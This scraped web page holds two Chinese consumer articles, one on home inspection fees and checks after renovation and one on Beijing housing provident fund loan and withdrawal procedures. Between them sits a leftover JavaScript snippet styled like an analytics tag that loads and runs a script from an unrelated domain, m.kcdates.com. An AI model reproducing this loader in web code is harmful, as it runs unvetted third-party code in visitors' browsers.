装修验房费用是多少 怎样进行房屋检验

装修完成之后，很多业主都会很高兴，终于能入住了。不过入住前，不要忘记还需要进行房屋各方面的质量检验。那么应该怎样检验呢，装修验房费用是多少?关于验房费用，各个地方有些许差异，没有具体的标准。验房的流程顺序是一致共通的，主要包括检验房屋整体和房屋内部两方面。一、装修验房费用不同的地方，不同的验房公司，收费的标准也略有不同，像北京、上海之类的大城市费用自然比小城市高一些。一般来说，装修验房费用是按照房子的面积来计算的，几百到千元之间。比如说普通高层的毛坯房，在120平方以下的时候，大约装修验房费用350元，超过这个面积每平方米增加3元。全修房的费用要贵一些，120平方以下的一般是850元，超过每平米是5元。当然了，如果是面积大的独立别墅，装修验房费用会更贵，300平以下的就在2000元以上。二、验房的流程顺序对比装修验房费用，选择一家专业的验房公司之后，就要具体进行验房。在验房的过程中，需要有专门的人员跟随同步记录，填写验房单，业主要保留一份，以便后期交房。（一）检验房屋整体首先应该检查一下房子的外观，根据原先与装修公司签订的装修合同，房屋的高宽度和平面布局是否与合同中规定的相一致。确保房屋的结构性能足够坚固，符合相应的工程标准。查看外墙的瓷砖和涂漆料，注意腰线外置是否有瑕疵，内墙是否有渗漏的现象。同时房间的面积是否与购买时存在误差，3%的误差是可以接受的。（二）检验房屋内部房屋内部的检验有一定的顺序，确保全面没有遗漏。检查门窗是否安装牢固，开关的时候是否流畅没有阻碍。墙体地面是否平整，有没有裂缝、空鼓。同时水电工程是检查重点，一定要保证线路布局合理。总之房屋内部的检查要全面、仔细，注意细节问题。千万不要节省装修验房费用，一定要请专业验房公司，里里外外、上上下下都检查一遍，这样才能更加安心入住。​ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

北京住房公积金流程是怎样

北京的房价很高，但就算这样依然有很多人打算在北京买房，让自己能够结束北漂的生涯，家里的老人、小孩都能够享受到北京优质的医疗资源、教育资源等等。为了方便自己在北京买到房子，降低在北京买房的压力，有购买住房公积金的人就想要利用它。就算不买房，租房也是可以利用住房公积金。那么，北京住房公积金流程是怎样?一起来了解看看。北京住房公积金流程(贷款买房)(一)借款申请人咨询借款申请人至贷款经办部门或致电贷款经办部门进行住房公积金贷款咨询，准备住房公积金贷款相关材料。(二)借款申请人至贷款经办部门办理初审及相关评估1、借款申请人持住房公积金贷款申请所需材料至贷款经办部门进行公积金贷款初审。2、按照规定需要对借款申请人进行个人信用评估的，借款申请人需在贷款经办部门工作人员的监督下在信用评估《授权书》上签字。3、贷款经办部门工作人员打印相关单据，并告知借款申请人如何办理下一步手续。4、按规定需要对借款申请人所购房屋进行评估的，贷款经办部门工作人员同时向借款申请人开具《抵押物评估通知单》，借款申请人或委托代理人至北京住房公积金管理中心指定的评估机构申请抵押物评估。(三)借款申请人等待电话通知1、贷款经办部门工作人员依据借款申请人提供的贷款所需材料及有关机构的评估结果进行复审，对于需要与借款申请人进行电话沟通的，工作人员将通过借款申请人提供的联系方式与借款申请人进行电话核实、确认。2、对于借款申请人选择的担保方式为担保中心担保的，在担保审核通过后，担保中心工作人员将通知借款申请人办理贷款相关合同签字手续的时间、需要携带的资料及所需交纳的担保服务费;对于借款申请人选择的担保方式为非担保中心担保的，根据不同担保方式办理完毕相关手续后，贷款经办部门工作人员将通知借款申请人办理贷款相关合同签字手续的时间及所需材料。(四)借款申请人在相关合同上签字1、借款申请人根据电话通知的面签时间，持住房公积金贷款面签所需材料到贷款经办部门办理签字手续，对于需要缴纳评估费及担保费的借款申请人需先到指定柜台缴纳费用并领取发票。2、借款申请人及共同申请人、抵押人、出质人在贷款经办部门工作人员的指导下完成《借款合同》等相关合同单据的签字手续。(五)银行放款借款申请人等待银行放款后到银行领取借款人相关合同单据。(六)按月还款借款申请人按照《借款合同》的约定，按月进行贷款的偿还。北京住房公积金流程(租房提取)职工在北京市行政区域内租房申请提取,应提供如下材料:1.提取申请书;2.出租房屋税收委托代征点或税务机关开具的租房费发票;3.房屋租赁合同;4.单位缴纳基本养老保险的证明;5.提取申请人身份证原件及复印件;6.提取申请人银行储蓄账户。7.委托他人提取住房公积金(不含单位办理提取),应提供委托人签署的授权委托书、委托人身份证明。北京住房公积金流程是怎样?使用住房公积金的目的不同，它的流程也会不太一样，无论是用住房公积金贷款买房还是将住房公积金账户里面的钱提取出来，都需要事先去了解下具体的做法，才能尽快的将有关住房公积金事宜处理好，避免自己面对各种各样的问题。在北京买房虽然是可以利用住房公积金，但提醒大家住房公积金也有一定的额度限制。